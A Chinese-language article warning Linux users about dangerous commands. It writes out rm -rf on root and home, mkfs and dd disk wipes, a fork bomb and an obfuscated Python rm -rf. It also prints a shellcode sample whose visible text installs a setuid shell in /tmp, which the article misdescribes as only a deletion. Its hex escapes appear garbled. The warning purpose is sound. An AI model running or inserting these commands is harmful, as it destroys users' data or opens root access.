不可以運行的Linux命令有哪些
Linux繼承了Unix以網絡為核心的設計思想,是一個性能穩(wěn)定的多用戶網絡操作系統(tǒng)。在Linux給你最大程度自由度的同時,也使得破壞系統(tǒng)變得更加容易,其中有些命令可以直接破壞我們系統(tǒng);下面小編就給大家具體講述一下不可以運行的Linux命令;一起去看看吧。
方法步驟
下面的命令會刪除你硬盤上的文件,rm 的 -r 遞歸刪除,和 -f 強制刪除是很危險的選項,即使日常操作,也會遇到誤刪文件的情況。
sudo rm -rf / 刪除根分區(qū)全部的文件
sudo rm -rf . 刪除當前目錄下的所有文件
sudo rm -rf * 同上
rm -rf * or rm -rf *.* 同上
rm -rf ~ / & 刪除根分區(qū)和家目錄,即使你不是root,家目錄還是不能幸免。
同樣,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的話,運行下面的命令會擦除你的硬盤分區(qū):
sudo mkfs.xxxx
dd 是強大的 IO 輸入輸出定向工具,如果使用不當,破壞性很大,不僅僅是當前分區(qū),當前系統(tǒng),有的時候是整個硬盤。
sudo dd if=/dev/zero of=/dev/sda 全部硬盤清零。
sudo dd if=/dev/sda of=/dev/sdb 用第一塊硬盤的內容覆蓋第二塊的內容。
sudo dd if=something of=/dev/sda 往硬盤上寫垃圾數據。
同理,直接把命令結果定向到硬盤上,相當于往硬盤上寫垃圾數據:
any_command > /dev/sda 用隨意的數據破壞硬盤
上面的 sda 、sdb 也可能是其他類似的名稱。Linux 的 /dev 系統(tǒng)給操縱硬件提供了很方便和強大的功能,同時也使得破壞變得更容易。
fork 命令打開一個子進程,如果把 fork 放在無限循環(huán)中,最終子進程會耗盡所有內存資源:
:(){:|:&};:這段不知所云的符號,可以讓 Shell 不停的 fork 子進程,最后導致內存耗盡,不得不重啟,這不是 bug,只是 Shell 語句故意寫成簡寫的形式而已。下面的同理:
fork while fork
有的時候,壓縮包也是一個破壞來源~
有的壓縮包要求你解壓到某個系統(tǒng)中已經存在的目錄中,這時候你就要特別小心了,壓縮包里面可能有成千上萬的小文件,以各種文件名嘗試覆蓋你現有的文件。
有的壓縮包看起來很小,但是解壓出來是上 GB 的垃圾數據,會充斥你的硬盤。
從不正規(guī)網站下載的程序、腳本,同樣會有包含惡意命令的危險,不可隨便執(zhí)行:
sh ./some_filesh ./malicious-script
載腳本要確保來源正規(guī),如果有能力,可以閱讀其代碼。
即使有源代碼的程序,也不要隨便編譯執(zhí)行:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
上面看起來只是一堆沒有意義的 16 進制數據,如果有人告訴你,運行這個程序你就可以不輸入密碼取得系統(tǒng)的 root 權限,你可不要相信他,上面的程序實際運行的是“rm -rf ~ / & ”。
python 一類的腳本語言,同樣可以拿來搞破壞:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'
這段程序實際上會執(zhí)行 rm -rf *,也許你很奇怪上面程序結尾的 “sn!.sg! ” 是什么意思,實際上就是 rm -rf * 每個字母的下一個!
補充:Linux基本命令
?、賚s 意為list 列出當前文件夾中的文件
-l 顯示文件的屬性 可用ll來表示
?、赼lias 別名 看看是否有別名的文件
?、踓d dir 跳躍目錄 -P選項 將路徑中的鏈接文件替換成鏈接指向的文件路徑
④pwd 查看當前工作的文件夾名 使用-P的選項,會直接進入到其中,相當于cd
相關閱讀:Linuxshell腳本不執(zhí)行問題實例分析
shell腳本不執(zhí)行問題:某天研發(fā)某同事找我說幫他看看他寫的shell腳本,死活不執(zhí)行,報錯。我看了下,腳本很簡單,也沒有常規(guī)性的錯誤,報“:badinterpreter:Nosuchfileordirectory”錯??催@錯,我就問他是不是在windows下編寫的腳本,然后在上傳到linux服務器的……果然。原因:在DOS/windows里,文本文件的換行符為rn,而在*nix系統(tǒng)里則為n,所以DOS/Windows里編輯過的文本文件到了*nix里,每一行都多了個^M。解決:
1)重新在linux下編寫腳本;
2)vi:%s/r//g:%s/^M//g(^M輸入用Ctrl+v,Ctrl+m)附:sh-x腳本文件名,可以單步執(zhí)行并回顯結果,有助于排查復雜腳本問題。
不可以運行的Linux命令相關文章: